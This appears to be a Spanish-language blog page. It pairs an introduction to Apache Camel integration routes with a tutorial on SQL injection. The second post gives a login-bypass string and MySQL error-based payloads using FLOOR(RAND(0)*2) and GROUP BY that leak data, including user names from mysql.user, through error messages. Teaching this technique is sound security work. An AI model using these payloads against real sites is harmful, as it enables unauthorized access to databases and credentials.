Integración: Apache Camel

Una buena parte de los problemas que enfrentan los administradores de sistemas y desarrolladores de software es la integración de sistemas. Empieza porque tenemos que transferir archivos generados al sistema de directorios hacia un SFTP, JMS, Correo, hasta que va creciendo y tenemos la necesidad de enviar de y hacia puntos como RabbitMQ, Apis Restful, etc. La pregunta es, queremos programar todo eso paso a paso?

En realidad no hace falta. Unos años atras, tuve la necesidad de realizar algo como lo descrito, y afortunadamente me encontré con un proyecto de apache: Camel. La definición del proyecto es que no es un ESB aunque puede verse como tal. Básicamente, Camel es un conector de endpoints, entiendase como endpoint una ruta que puede ser SFTP, JMS, RabbitMQ, Mail, FTP, Sistema de directorios, Cassandra, Docker, HDFS, HTTP, y un largo (muy largo etcetera).

Veamos un ejemplo de su uso:

Si tengo un sistema que arroja elementos para proceso a un servidor SFTP remoto, y esos elementos (archivos) debo enviarlos a un servidor JMS, debo hacer lo siguiente:

From (endpointSFTP).to(endppointJms);

Si ademas deseo realizar alguna accion antes de enviarlos, hago esto:

From (endpointSFTP).process(new processor())to(endppointJms);

Donde la clase “processor” ejecuta acciones sobre el contenido.

En cualquiera de los casos, al ejecutar el proyecto, este crea los listeners necesarios para que cada vez que aparezca un ítem nuevo en el origen sea procesado y enviado a su destino. Las rutas pueden ser mucho mas complejas que eso, supongamos el caso en que, ademas de enviar el item hacia JMS, tambien quiero enviar una notificacion de que se envio a una api Restful:

From (endpointSFTP).process(new processor())to(endppointJms).setBody(“Se envio un mensaje al endpoint jms”).to(endpointApiRestful);

Claro que esto es una simplificación, pero sirve como ejemplo ya que luego hay que agregar headers, construir los endpoints, etc. La lista completa de componentes soportados se puede encontrar en: http://camel.apache.org/components.html (es larga, muy larga).

Vamos a hacer un ejemplo sencillo para probar el producto:

Prerequisitos: tener maven funcionando.

Crear un directorio nuevo para el proyecto y ejecutar:

mvn archetype:generate -DarchetypeGroupId=org.apache.camel.archetypes -DarchetypeArtifactId=camel-archetype-java -DarchetypeVersion=2.12.1 -DgroupId=camelinaction -DartifactId=order-router

*Actualizar las versiontes si fuese necesario.

Ejecutar mvn clean install (que descarga todas las dependencias y compila el proyecto)mvn clean install

El código descargado se ve asi:

ruta

Como se puede ver es muy sencillo, en este caso se esta interpretando un archivo y se rutea en funcion del contenido del mismo.

Termino aca el post introductorio a Apache Camel, posteriormente veremos ejemplos mas avanzados.

 

Anuncios

Ataques de inyeccion SQL nuevas ideas:

Inyeccion de SQL no es un concepto nuevo. Basta una web que no valide las entradas de los campos de texto, parametros, etc, y las envie a la base de datos como cadenas a ser ejecutadas y con eso la web ya es vulnerable a ser victima de inyeccion SQL, pero, en la practica, como funciona?

La mayoria hemos escuchado el ejemplo tipico:

La query para validacion de usuarios es algo asi como select * from tabla_usuario where usuario=’user’ and password=’password’;

cuando en programacion se sustituye user y password por las entradas del usuario, se puede llegar a esto:

select * from tabla_usuario where usuario=’user’ and password=’‘ or 1=1 or ‘‘;

*notese la parte en negrilla.

Pero, en la practica hay ejemplos bastante mas complejos, vamos a exponer aqui uno de ellos:

La idea del ejemplo es extraer informacion de la base de datos, teoricamente, es posible inyectar una sentencia select  en la entrada y obtener algo como:

select * from tabla where id=’‘ ;select * from information_schema.tables‘;

Esto es lo que se puede inyectar, pero esto aun cuando la web es vulnerable, arroja un error de sintaxis, y no devuelve nada (en el frontend, no se espera renderizar nada, sin embargo puede que los errores remotos sean presentados al usuario)

Si en este punto la web devuelve el error de sintaxis de SQL (en el caso de las pruebas, MySQL), ya sabemos que esta escribiendo en pantalla los errores, si pudieramos de alguna forma inyectar nuestros datos en esos codigos de error, se mostrarian alli, pero, es esto posible?

La respuesta es si, con un mecanismo bastante sencillo, imaginemos una query de este tipo:

 

SELECT FLOOR(RAND(0)*2) FROM information_schema.tables

devuelve una salida como:

floor.png

Ahora examinemos esta query:

 

(
SELECT CONCAT(a,X) FROM
(
SELECT COUNT(*) a,CONCAT(FLOOR(RAND(0)*2))X FROM information_schema.tables GROUP BY X
) t
)

Basicamente, es una query superior agrupando por el resultado de la primera, pero la primera query repite sus valores, asi que no puede agrupar por esos valores y devuelve un error, devuelve este error:

Sin título

Lo interesante aca es que el 1 al que hace referencia el error es un valor calculado por el DBMS. Asi que:

(
SELECT CONCAT(a,X) FROM
(
SELECT COUNT(*) a,CONCAT(FLOOR(RAND(0)*2),’wordpress’)X FROM information_schema.tables GROUP BY X
) t
)

Devolera:

Sin título

Con lo cual estamos modificando el texto del error que mysql devuelve.

Veamos esta query:

(
SELECT CONCAT(a,X) FROM
(
SELECT COUNT(*) a,CONCAT(FLOOR(RAND(0)*2),(SELECT GROUP_CONCAT(USER SEPARATOR ‘, ‘) FROM mysql.user))X FROM information_schema.tables GROUP BY X
) t
)

Sin título

(ofuscados los usuarios de mi BD de testing)

 

Dado que mysql almacena toda la metadata de sus BD en las bases de datos llamadas mysql e information_schema, con esto se puede acceder a cualquier informacion dentro de una BD.

Respecto a como formar la entrada para que se ejecuten multiples queries en lugar de una sola, la respuesta es el concatenador || en mysql. Hablaremos de ejemplos de esto en un siguiente post.

*Referencias en:

https://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do